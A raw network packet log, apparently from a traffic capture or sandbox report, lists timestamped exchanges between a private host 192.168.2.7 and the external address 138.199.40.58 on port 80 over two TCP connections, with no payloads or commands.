Apr 23, 2024 08:39:58.075439930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.075462103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.077512980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.077594042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.079933882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.079938889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.081537008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.081605911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.081665993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.083671093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.083731890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.083775997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.087661028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.087703943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.087766886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.089832067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.090070963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.090117931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.093745947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.093811989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.093867064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.095870018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.095974922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.096045971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.099865913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.099945068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.100019932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.102001905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.102196932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.102343082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.136686087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.136814117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.136868000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.138647079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.138688087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.138741970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.139663935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.139759064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.139816999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.141604900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.141648054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.141690969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.145991087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.146060944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.146115065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.147712946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.147753000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.147802114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.151268005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.151362896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.151412010 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.153083086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.153126955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.153183937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.156378031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.156431913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.156480074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.158279896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.158319950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.158437014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.161709070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.161750078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.161794901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.163578033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.163638115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.163676023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.166961908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.167079926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.167157888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.168957949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.169014931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.169054031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.172338963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.172430038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.172491074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.174190044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.174276114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.174315929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.177649021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.177681923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.177738905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.179482937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.179557085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.179598093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.182868958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.182934046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.182975054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.184762955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.184777021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.184813976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.188251019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.188344002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.188390017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.190099001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.190192938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.190238953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.193531036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.193655968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.193698883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.195389032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.195534945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.195576906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.198726892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.198801994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.198872089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.201039076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.201136112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.201183081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.203586102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.203708887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.203876972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.205534935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.205615044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.205661058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.208427906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.208549023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.208599091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.210331917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.210439920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.210485935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.213294029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.213335037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.213411093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.215306997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.215343952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.215390921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.218770027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.218810081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.218861103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.220043898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.220249891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.220293045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.223087072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.223197937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.223248959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.224875927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.224982023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.225032091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.228004932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.228044987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.228091002 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.229870081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.229907990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.229953051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.233025074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.233134985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.233195066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.234679937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.234719038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.234764099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.237726927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.237763882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.237809896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.239554882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.239630938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.239684105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.240605116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.240696907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.240741014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.242460966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.242528915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.242574930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.243617058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.243678093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.243721962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.245435953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.245621920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.245670080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.246572018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.246609926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.246665001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.248244047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.248321056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.248363018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.249382973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.249531984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.249586105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.251147032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.251214027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.251352072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.253175020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.253221035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.253262043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.254028082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.254117012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.254167080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.255254030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.255460024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.255506992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.256834984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.256916046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.256952047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.258152962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.258198023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.258243084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.259740114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.259840965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.259885073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.260901928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.260962009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.260996103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.262619019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.262717009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.262761116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.263736010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.263767958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.263807058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.265419006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.265508890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.265563965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.266503096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.266524076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.266601086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.268183947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.268203974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.268239975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.269222021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.269252062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.269290924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.270915985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.270982027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.271025896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.272018909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.272095919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.272150040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.273628950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.273643970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.273679972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.274663925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.274717093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.274764061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.276581049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.276612043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.276721001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.277426004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.277441025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.277487993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.279151917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.279166937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.279236078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.280086994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.280117989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.280158043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.281843901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.281858921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.281896114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.282907009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.282999039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.283039093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.284564018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.284598112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.284632921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.285629034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.285644054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.285689116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.287291050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.287306070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.287348986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.288283110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.288296938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.288337946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.290076017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.290214062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.290277958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.290911913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.290925026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.290973902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.292678118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.292722940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.293586016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.293598890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.293656111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.293663025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.295346975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.295361042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.295500994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.296286106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.296323061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.296451092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.298073053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.298154116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.298264027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.298974991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.299012899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.299176931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.300683022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.300740957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.300808907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.301630020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.301667929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.301840067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.303251028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.303292036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.303376913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.304120064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.304157972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.304325104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.305708885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.305747032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.306608915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.306646109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.306673050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.306749105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.308233023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.308271885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.308372974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.309163094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.309201956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.309308052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.310714960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.310754061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.311642885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.311681032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.311709881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.312035084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.313221931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.313261032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.313369989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.314058065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.314097881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.314189911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.315659046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.315716028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.316536903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.316576958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.316781998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.316788912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.318032026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.318070889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.318475008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.318902969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.318941116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.319298029 CEST	49704	80	192.168.2.7	138.199.40.58
